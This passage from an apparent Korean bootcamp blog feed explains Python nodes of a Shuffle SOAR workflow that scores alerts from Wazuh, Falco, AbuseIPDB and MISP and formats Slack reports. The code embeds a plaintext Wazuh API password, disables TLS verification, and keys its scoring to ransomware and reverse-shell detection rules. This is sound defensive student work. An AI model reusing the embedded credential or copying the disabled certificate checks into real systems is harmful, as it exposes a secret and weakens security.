&lt;li&gt;&lt;b&gt;5-3. Wazuh_SCA_Check&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 서버의 보안 설정 점수(SCA)를 확인하여 **&quot;이 서버가 뚫리기 쉬운 상태인가?&quot;**를 판단합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;코드 분석&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;risk_score = 100 - score: SCA 점수는 100점에 가까울수록 안전하다는 뜻입니다. 이를 반전시켜 **'위험도 점수'**로 변환했습니다(예: SCA 37점 -&amp;gt; 위험도 63점).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;설계 의도&lt;/b&gt;: 설정이 취약한 서버에서 발생한 경고는 더 높은 우선순위로 처리해야 한다는 논리가 담겨 있습니다.&lt;/li&gt;
&lt;li&gt;python code 분석&lt;b&gt;왜 SCA 점수를 가져오나요?&lt;/b&gt; 보안 관제에서 가장 무서운 상황은 **&quot;취약한 설정이 방치된 서버에 해당 취약점을 노린 공격이 들어오는 것&quot;**입니다. &amp;bull; &lt;b&gt;A 서버&lt;/b&gt;: SCA 95점 (매우 안전) + Brute-force 공격 감지 $\rightarrow$ &lt;b&gt;위험도 낮음&lt;/b&gt; (비밀번호 정책이 강력함) &amp;bull; &lt;b&gt;B 서버&lt;/b&gt;: SCA 20점 (매우 취약) + Brute-force 공격 감지 $\rightarrow$ &lt;b&gt;위험도 매우 높음&lt;/b&gt; (쉽게 뚫릴 가능성 큼) 이 코드는 위와 같이 **'공격의 맥락(Context)'**을 시스템 설정 데이터로 입증하기 위해 존재합니다. &lt;b&gt;점수 반전 로직 (100 - score)의 의미&lt;/b&gt; Wazuh의 SCA 점수는 '준수율(Compliance Rate)'이기 때문에 높을수록 좋지만, 우리가 만드는 Final_Scoring 노드는 &lt;b&gt;위험 요소를 합산&lt;/b&gt;하는 방식입니다. 따라서 보안이 취약할수록(SCA 점수가 낮을수록) 최종 위협 점수에 더 많은 가중치를 더하기 위해 수치를 반전시킨 것은 아주 영리한 설계입니다.&lt;/li&gt;
&lt;li&gt;import requests import json import urllib3 # [1] 보안 경고 무시: 사설 인증서를 사용하는 Wazuh API 환경에서 연결 에러를 방지합니다. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # [2] 설정: Wazuh Manager의 RESTful API(55000 포트) 정보를 설정합니다. WAZUH_API_URL = '&amp;lt;https://192.168.10.251:55000&amp;gt;' USER = &quot;wazuh&quot; PASS = &quot;otxbRvH.zpnpqUzyslehdMg6hC*CF9EC&quot; # API 접근용 계정 정보 # [입력] Shuffle에서 전달받은 분석 대상 서버의 Agent ID try: AGENT_ID = str(&quot;&quot;&quot;$exec.agent.id&quot;&quot;&quot;) except: AGENT_ID = &quot;000&quot; def get_token(): &quot;&quot;&quot; Wazuh API 접근을 위한 Bearer 토큰을 발급받는 함수 &quot;&quot;&quot; auth_url = f&quot;{WAZUH_API_URL}/security/user/authenticate&quot; try: response = requests.get(auth_url, auth=(USER, PASS), verify=False, timeout=10) if response.status_code == 200: return response.json().get(&quot;data&quot;, {}).get(&quot;token&quot;) return None except: return None def run(): # 1. 토큰 획득 token = get_token() if not token: return {&quot;error&quot;: &quot;Authentication Failed&quot;} # 2. SCA(보안 구성 평가) 점수 조회 엔드포인트 호출 sca_url = f&quot;{WAZUH_API_URL}/sca/{AGENT_ID}&quot; headers = { &quot;Authorization&quot;: f&quot;Bearer {token}&quot;, &quot;Content-Type&quot;: &quot;application/json&quot; } try: response = requests.get(sca_url, headers=headers, verify=False, timeout=10) if response.status_code == 200: resp_json = response.json() data = resp_json.get(&quot;data&quot;, {}) # [3] 데이터 정제: 여러 보안 정책(items) 중 가장 핵심적인 첫 번째 정책 점수를 가져옵니다. score = 0 items = data.get(&quot;affected_items&quot;, []) if items and isinstance(items, list): # 예: CIS Benchmark 기준 점수 (100점 만점) score = items[0].get(&quot;score&quot;, 0) # [4] 점수 반전 (핵심 로직): # SCA 점수는 100점일수록 안전하고 0점일수록 위험합니다. # 하지만 SOAR의 스코어링 엔진은 '위험할수록 높은 점수'를 선호하므로 # (100 - 보안점수)를 통해 '위험도 점수'로 변환합니다. # 예: 보안 점수가 37점이면, 위험도는 63점이 됩니다. risk_score = 100 - score if score &amp;gt; 0 else 0 return { &quot;agent_id&quot;: AGENT_ID, &quot;sca_score&quot;: score, # 원본 보안 점수 (예: 37) &quot;sca_risk&quot;: risk_score, # 변환된 위험 점수 (예: 63) &quot;is_vulnerable&quot;: score &amp;lt; 50 # 50점 미만이면 보안 취약 서버로 분류 } else: return {&quot;error&quot;: f&quot;API Error {response.status_code}&quot;, &quot;raw&quot;: response.text} except Exception as e: return {&quot;error&quot;: str(e)} if __name__ == &quot;__main__&quot;: print(json.dumps(run()))&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;6. Final_Scoring (The Brain)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 모든 노드의 결과를 취합하여 최종 위협 등급을 결정합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;가중치 로직 분석&lt;/b&gt;:
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Falco Rules&lt;/b&gt;: 랜섬웨어 시그니처(+60), RCE(+50) 등 행위 기반 가중치를 가장 크게 둡니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;FIM Analysis&lt;/b&gt;: 해시가 없는 파일 변경(설정 변경 등)은 더 의심스럽게 보아 +10점을 부여합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AbuseIPDB&lt;/b&gt;: TI 점수를 그대로 합산합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SCA Context&lt;/b&gt;: sca_risk * 0.1을 통해 시스템 취약도를 최종 점수에 가중치로 반영합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;: 100점 이상은 CRITICAL, 70점 이상은 HIGH 등으로 등급을 나눕니다.&lt;/li&gt;
&lt;li&gt;python code 분석
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;가중치 기반의 합리적 의사결정&lt;/b&gt;: 단순히 if 문으로만 판단하면 복합적인 위협을 놓치기 쉽습니다. 하지만 각 요소에 점수를 부여하고 이를 합산하는 방식은, 개별적으로는 LOW 등급인 징후들이 모였을 때 자동으로 CRITICAL로 격상시켜 줍니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SCA Context 반영의 독창성&lt;/b&gt;: 보통의 SIEM은 공격 행위만 보지만, 이 코드는 **&quot;피해 대상 서버의 방어력(SCA)&quot;**을 점수에 반영합니다. 방어력이 낮은 서버에 가해지는 공격에 더 큰 가산점을 주는 방식은 매우 효율적인 관제 전략입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거 중심의 리포팅 (evidence)&lt;/b&gt;: 단순히 &quot;100점입니다&quot;라고 하지 않고, evidence.append를 통해 왜 100점이 나왔는지(랜섬웨어 탐지, IP 점수 높음 등)를 문장으로 만들어 Slack 노드에 넘겨줍니다. 이는 관제자가 상황을 즉시 파악하는 데 큰 도움을 줍니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;import json import ast # --- [안전한 파싱 함수] --- # Shuffle의 노드 간 데이터 전달 시 발생할 수 있는 데이터 타입 불일치(문자열 vs 딕셔너리)를 해결합니다. # json.loads와 ast.literal_eval을 병행하여 어떤 형태의 데이터라도 안전하게 파이썬 객체로 변환합니다. def safe_parse(data_str, source_name=&quot;Unknown&quot;): if not data_str or data_str == &quot;null&quot; or data_str == &quot;[]&quot;: return {} if source_name != &quot;fim_list&quot; else [] try: return json.loads(data_str) except: try: return ast.literal_eval(data_str) except: # 파싱 실패 시 빈 객체를 반환하여 전체 워크플로우가 중단되지 않게 방어합니다. return {} if source_name != &quot;fim_list&quot; else [] # --- 1. 데이터 수집 (Data Ingestion) --- try: # A. Webhook: 원본 경보에서 Falco 룰 이름을 추출합니다. webhook_res = &quot;&quot;&quot;$exec&quot;&quot;&quot; WEBHOOK_DATA = safe_parse(webhook_res, &quot;Webhook&quot;) # Falco 데이터 구조가 복잡할 수 있으므로 여러 경로를 통해 Rule 이름을 확보합니다. FALCO_RULE = &quot;Unknown Rule&quot; if &quot;data&quot; in WEBHOOK_DATA and &quot;rule&quot; in WEBHOOK_DATA[&quot;data&quot;]: FALCO_RULE = str(WEBHOOK_DATA[&quot;data&quot;][&quot;rule&quot;]) elif &quot;rule&quot; in WEBHOOK_DATA and isinstance(WEBHOOK_DATA[&quot;rule&quot;], str): FALCO_RULE = WEBHOOK_DATA[&quot;rule&quot;] # B. Wazuh FIM: 이전 노드에서 정제된 파일 변경 리스트를 가져옵니다. fim_res = &quot;&quot;&quot;$wazuh_fim_search&quot;&quot;&quot; fim_data_parsed = safe_parse(fim_res, &quot;FIM_Search&quot;) fim_list = fim_data_parsed.get(&quot;message&quot;, {}).get(&quot;fim_data&quot;, []) if isinstance(fim_data_parsed, dict) else [] # C. AbuseIPDB: IP 평판 조회 결과 리스트를 가져옵니다. abuse_res = &quot;&quot;&quot;$abuseipdb&quot;&quot;&quot; abuse_data = safe_parse(abuse_res, &quot;AbuseIPDB&quot;) # D. Wazuh SCA: 시스템 취약 설정 점수를 가져옵니다. sca_res = &quot;&quot;&quot;$wazuh_sca_check&quot;&quot;&quot; sca_data = safe_parse(sca_res, &quot;SCA_Score&quot;) except Exception as e: # 예외 발생 시 기본값 세팅 FALCO_RULE = &quot;Unknown&quot;; fim_list = []; abuse_data = []; sca_data = {} # --- 2. 스코어링 로직 (Main Engine) --- def run(): # [캐시 연동] 이전 로그들로부터 쌓여온 누적 점수(base_score)를 시작점으로 잡습니다. # 이 부분이 단순 탐지와 '지속적 위협 추적'을 가르는 핵심입니다. score = $analyze_log_artifacts.message.base_score evidence = [] # [파트 1: Falco 행위 기반 점수] # 공격의 종류(런타임 행위)에 따라 기본 가중치를 부여합니다. if &quot;Interrupt_Ransomware_Behavior&quot; in FALCO_RULE: score += 60 # 랜섬웨어는 가장 위험하므로 높은 점수 evidence.append(&quot;[EMERGENCY] Ransomware Encryption Behavior detected.&quot;) elif &quot;Interrupt_RCE_Reverse_Shell&quot; in FALCO_RULE: score += 50 evidence.append(&quot;[CRITICAL] RCE &amp;amp; Reverse Shell connection established.&quot;) # ... (기타 룰별 점수 차등 부여) else: score += 20 evidence.append(f&quot;Behavior: Detected suspicious activity ({FALCO_RULE})&quot;) # [파트 2: FIM 파일 변경 기반 점수] fim_score_total = 0 no_hash_count = 0 for item in fim_list: # 해시값이 없는 변경(단순 권한 변경 등)은 추적이 어려우므로 더 위험하게 간주(+10) if not (item.get(&quot;sha256&quot;) or item.get(&quot;md5&quot;)): fim_score_total += 10 no_hash_count += 1 else: fim_score_total += 5 # 일반적인 파일 수정은 +5 score += fim_score_total # [파트 3: AbuseIPDB 평판 점수] # 외부 IP의 악성 확신도(Confidence Score)를 점수에 그대로 합산합니다. ip_score_sum = 0 for ip_info in abuse_data: conf_score = ip_info.get(&quot;data&quot;, {}).get(&quot;abuseConfidenceScore&quot;, 0) if conf_score &amp;gt; 0: ip_score_sum += conf_score evidence.append(f&quot;[IP] Malicious IP (Score: {conf_score})&quot;) score += ip_score_sum # [파트 4: SCA 시스템 취약도 가중치] # 시스템이 취약할수록(sca_risk) 전체 위협 점수에 30%를 가산합니다. # &quot;취약한 환경에서 발생한 공격은 성공 확률이 높다&quot;는 논리를 수식화한 것입니다. real_sca_data = sca_data.get(&quot;message&quot;, sca_data) if isinstance(sca_data, dict) else {} sca_risk = real_sca_data.get(&quot;sca_risk&quot;, 0) weighted_risk = int(sca_risk * 0.1) score += weighted_risk # --- 3. 최종 등급 판정 --- level = &quot;INFO&quot; if score &amp;gt;= 100: level = &quot;CRITICAL&quot; # 100점 돌파 시 격리 대상 elif score &amp;gt;= 70: level = &quot;HIGH&quot; elif score &amp;gt;= 40: level = &quot;MEDIUM&quot; elif score &amp;gt;= 20: level = &quot;LOW&quot; return { &quot;final_score&quot;: score, &quot;risk_level&quot;: level, &quot;title&quot;: f&quot;[{level}] Security Alert: {FALCO_RULE}&quot;, &quot;description&quot;: &quot; / &quot;.join(evidence), # Slack에 뿌려줄 요약 증거 문장들 &quot;details&quot;: { &quot;falco_rule&quot;: FALCO_RULE, &quot;fim_score&quot;: fim_score_total, &quot;ip_reputation_score&quot;: ip_score_sum, &quot;sca_risk_score&quot;: weighted_risk } } if __name__ == &quot;__main__&quot;: print(json.dumps(run()))&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;7. Set_Session_Cache&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 이번 분석 결과를 다시 Shuffle 데이터베이스에 업데이트합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;저장 내용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;current_score: 다음 로그가 들어왔을 때 이 점수부터 시작합니다.&lt;/li&gt;
&lt;li&gt;checked_ips, updated_hashes: 다음 분석 시 중복 검사를 방지하기 위해 저장합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;8. Format_Slack &amp;amp; Slack&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 분석된 복잡한 데이터를 관리자가 보기 편하게 리포트 형식으로 변환하여 전송합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;코드 분석&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위험 등급에 따라 Slack 메시지의 색상(color)을 변경(빨강, 주황, 노랑, 초록)하여 시인성을 높였습니다.&lt;/li&gt;
&lt;li&gt;단순히 &quot;위험함&quot;이 아니라, 어떤 IP가 문제인지, 어떤 파일이 바뀌었는지를 요약하여 &lt;b&gt;대응 가이드&lt;/b&gt;를 함께 제공합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;python code 분석&lt;b&gt;1) 가독성과 긴급성 중심의 시각화&lt;/b&gt;&lt;b&gt;2) 행동 중심의 대응 가이드 (response_guide)&lt;/b&gt;&lt;b&gt;3) 정보의 우선순위 배치&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;IP 정보&lt;/b&gt;: 공격자의 근원지이므로 최상단 배치.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MISP 정보&lt;/b&gt;: 알려진 공격(IOC)과의 일치 여부는 공격의 확실성을 입증하는 강력한 근거가 됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;FIM 정보&lt;/b&gt;: 실제 시스템 내부 피해를 가늠하는 지표입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;단순히 &quot;위험합니다&quot;라고 알리는 것은 정보 전달에 불과합니다. 이 코드는 등급에 따라 &lt;b&gt;&quot;네트워크 격리&quot;&lt;/b&gt;, &lt;b&gt;&quot;방화벽 차단&quot;&lt;/b&gt; 같은 구체적인 액션 아이템을 던져줌으로써 관제자의 판단 시간을 획기적으로 줄여줍니다.&lt;/li&gt;
&lt;li&gt;보안 사고가 터졌을 때 가장 중요한 것은 **'어디서(Agent)', '무슨 일이(Rule)', '얼마나 위험한가(Score)'**를 3초 안에 파악하는 것입니다. 이 코드는 color 필드를 등급별로 다르게 부여하여, Slack 알림의 왼쪽 띠 색상만 보고도 상황의 긴박함을 인지하게 합니다.&lt;/li&gt;
&lt;li&gt;import json import ast # --- [안전한 파싱 함수] --- # Shuffle의 여러 노드(Wazuh, AbuseIPDB 등)에서 넘어오는 다양한 데이터 형식을 # 파이썬 딕셔너리나 리스트로 안전하게 변환하여 에러를 방지합니다. def safe_parse(data_str, source_name=&quot;Unknown&quot;): if not data_str or data_str == &quot;null&quot; or data_str == &quot;[]&quot;: return {} if source_name != &quot;list_type&quot; else [] try: return json.loads(data_str) except: try: return ast.literal_eval(data_str) except: return {} if source_name != &quot;list_type&quot; else [] try: # --- [데이터 수집 파트] --- # 각 분석 노드로부터 최종 결과를 끌어옵니다. # 1. 원본 실행 정보 (어떤 에이전트에서 발생했는지) EXEC_DATA = safe_parse(&quot;&quot;&quot;$exec&quot;&quot;&quot;, &quot;Exec&quot;) # 2. 최종 점수 및 위험 등급 (Final_Scoring 노드 결과) SCORE_DATA = safe_parse(&quot;&quot;&quot;$final_scoring&quot;&quot;&quot;, &quot;Score&quot;) if &quot;message&quot; in SCORE_DATA: SCORE_DATA = SCORE_DATA[&quot;message&quot;] # 3. 악성 IP 상세 내역 (AbuseIPDB 결과) ABUSE_DATA = safe_parse(&quot;&quot;&quot;$abuseipdb&quot;&quot;&quot;, &quot;list_type&quot;) # 4. 변경된 파일 목록 (Wazuh FIM 결과) FIM_DATA = safe_parse(&quot;&quot;&quot;$wazuh_fim_search&quot;&quot;&quot;, &quot;FIM&quot;) fim_list = FIM_DATA.get(&quot;message&quot;, {}).get(&quot;fim_data&quot;, []) if isinstance(FIM_DATA, dict) else [] # 5. 위협 인텔리전스 매칭 여부 (MISP 결과) MISP_DATA = safe_parse(&quot;&quot;&quot;$misp_search_hash&quot;&quot;&quot;, &quot;MISP&quot;) except Exception as e: print(f&quot;Error parsing inputs: {e}&quot;) EXEC_DATA, SCORE_DATA, ABUSE_DATA, fim_list, MISP_DATA = {}, {}, [], [], {} def run(): # --- [데이터 가공 및 텍스트 정리] --- # A. 기본 식별 정보 # 에이전트 이름이나 ID를 추출하여 어떤 서버가 공격받고 있는지 명시합니다. agent_id = EXEC_DATA.get(&quot;agent&quot;, {}).get(&quot;name&quot;) or EXEC_DATA.get(&quot;agent&quot;, {}).get(&quot;id&quot;, &quot;Unknown Server&quot;) falco_rule = SCORE_DATA.get(&quot;title&quot;, &quot;Unknown Alert&quot;).replace(&quot;[CRITICAL]&quot;, &quot;&quot;).replace(&quot;[HIGH]&quot;, &quot;&quot;).strip() final_score = SCORE_DATA.get(&quot;final_score&quot;, 0) risk_level = SCORE_DATA.get(&quot;risk_level&quot;, &quot;INFO&quot;) # B. IP 정보 시각화 # 악성 IP가 발견되면 빨간 동그라미( )와 함께 국가, 점수를 한 줄로 정리합니다. ip_lines = [] for item in ABUSE_DATA: d = item.get(&quot;data&quot;, item) ip = d.get(&quot;ipAddress&quot;, &quot;Unknown IP&quot;) score = d.get(&quot;abuseConfidenceScore&quot;, 0) country = d.get(&quot;countryCode&quot;, &quot;??&quot;) if score &amp;gt; 0: ip_lines.append(f&quot;  {ip} ({country}) - Score: {score}&quot;) ip_text = &quot;\\n&quot;.join(ip_lines) if ip_lines else &quot;✅ 탐지된 악성 IP 없음&quot; # C. 파일 변경(FIM) 정보 요약 # 바뀐 파일이 너무 많으면 Slack 메시지가 길어지므로 최대 5개까지만 보여줍니다. fim_lines = [] for item in fim_list: path = item.get(&quot;path&quot;, &quot;unknown path&quot;) mode = &quot;No Hash&quot; if not item.get(&quot;sha256&quot;) else &quot;Hash Changed&quot; fim_lines.append(f&quot;  {path} ({mode})&quot;) if len(fim_lines) &amp;gt;= 5: fim_lines.append(f&quot;...외 {len(fim_list)-5}건 더 있음&quot;) break fim_text = &quot;\\n&quot;.join(fim_lines) if fim_lines else &quot;✅ 파일 변경 사항 없음&quot; # D. MISP 연동 결과 # 알려진 공격 지표(IOC)와 매칭되었을 때 강력한 경고 문구를 삽입합니다. misp_text = &quot;✅ 매칭된 위협 정보 없음&quot; if MISP_DATA and (MISP_DATA.get(&quot;response&quot;) or MISP_DATA.get(&quot;Event&quot;)): misp_text = &quot;  [DANGER] MISP 위협 인텔리전스 매칭됨! (Known IOC)&quot; # E. 대응 가이드 (Response Logic) # 위험 등급(CRITICAL, HIGH 등)에 따라 관리자가 해야 할 행동 지침과 메시지 색상을 결정합니다. if risk_level == &quot;CRITICAL&quot;: response = &quot;  [긴급] 즉시 해당 서버 네트워크 격리 및 프로세스 킬 수행 필요.&quot; color = &quot;#ff0000&quot; # 강렬한 빨강 elif risk_level == &quot;HIGH&quot;: response = &quot;⚠️ [주의] 방화벽 차단 정책 적용 및 상세 로그 분석 요망.&quot; color = &quot;#ff9900&quot; # 주황 elif risk_level == &quot;MEDIUM&quot;: response = &quot;⚡ [확인] 의심스러운 활동 모니터링 강화.&quot; color = &quot;#f2c744&quot; # 노랑 else: response = &quot;✅ 특이사항 없음. 지속 모니터링.&quot; color = &quot;#36a64f&quot; # 초록 # --- [최종 결과 반환] --- # 이 딕셔너리 값들이 그대로 Slack 노드의 Attachment나 Block에 매핑됩니다. return { &quot;agent_id&quot;: agent_id, &quot;falco_rule&quot;: falco_rule, &quot;final_score&quot;: final_score, &quot;risk_level&quot;: risk_level, &quot;ip_info&quot;: ip_text, &quot;fim_info&quot;: fim_text, &quot;misp_info&quot;: misp_text, &quot;response_guide&quot;: response, &quot;color&quot;: color, &quot;title&quot;: f&quot;[{risk_level}] {falco_rule}&quot; } if __name__ == &quot;__main__&quot;: print(json.dumps(run()))&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/35</guid>
      <comments>https://yejiamoe.tistory.com/35#entry35comment</comments>
      <pubDate>Fri, 13 Feb 2026 02:52:53 +0900</pubDate>
    </item>
    <item>
      <title>[토스뱅크 부트캠프] 팀프로젝트 Interrupt 6주차</title>
      <link>https://yejiamoe.tistory.com/34</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBxggN/dJMcadOiRAR/OkiDTdfFKsGSjdJdhCR6S0/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBxggN/dJMcadOiRAR/OkiDTdfFKsGSjdJdhCR6S0/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBxggN/dJMcadOiRAR/OkiDTdfFKsGSjdJdhCR6S0/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBxggN%2FdJMcadOiRAR%2FOkiDTdfFKsGSjdJdhCR6S0%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;676&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;전체적인 흐름
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격 수집 : Falco / FIM /SCA 로그 들어옴&lt;/li&gt;
&lt;li&gt;IP 식별
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IP있으면 해당 IP tkdyd&lt;/li&gt;
&lt;li&gt;IP 없으면 PID/Container ID를 캐시에서 조회하여 매칭하는 IP를 찾아오기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;점수 합산 : Get Cache로 해당 IP의 기존 점수를 가져와서 새 로그의 위험도를 더한 뒤 Set Cache로 다시 저장&lt;/li&gt;
&lt;li&gt;임계치 대응 : 합산된 점수가 임계치(예 : 80점)을 넘으면 차단 및 알림&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2772&quot; data-origin-height=&quot;8192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W8m2O/dJMcabQx6md/QL5InnIoExGWFllFGCtTLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W8m2O/dJMcabQx6md/QL5InnIoExGWFllFGCtTLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W8m2O/dJMcabQx6md/QL5InnIoExGWFllFGCtTLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW8m2O%2FdJMcabQx6md%2FQL5InnIoExGWFllFGCtTLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2772&quot; height=&quot;8192&quot; data-origin-width=&quot;2772&quot; data-origin-height=&quot;8192&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;로그 수신 및 상태 로드 (Nodes 1~4)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;832&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKBudl/dJMcabQx6oD/VsuE30VTzkSkzhAgn8ZOw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKBudl/dJMcabQx6oD/VsuE30VTzkSkzhAgn8ZOw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKBudl/dJMcabQx6oD/VsuE30VTzkSkzhAgn8ZOw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKBudl%2FdJMcabQx6oD%2FVsuE30VTzkSkzhAgn8ZOw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;427&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;832&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;webhook&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;: 설정 완료&lt;/li&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qSxWo/dJMcafrSDTt/qqqQYs5PKGaeOwt6uddsA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qSxWo/dJMcafrSDTt/qqqQYs5PKGaeOwt6uddsA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qSxWo/dJMcafrSDTt/qqqQYs5PKGaeOwt6uddsA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqSxWo%2FdJMcafrSDTt%2FqqqQYs5PKGaeOwt6uddsA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;757&quot; height=&quot;545&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;b&gt;Get Storage (by Agent ID)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Key: agent_score_{{ $exec.all_fields.agent.id }}&lt;/li&gt;
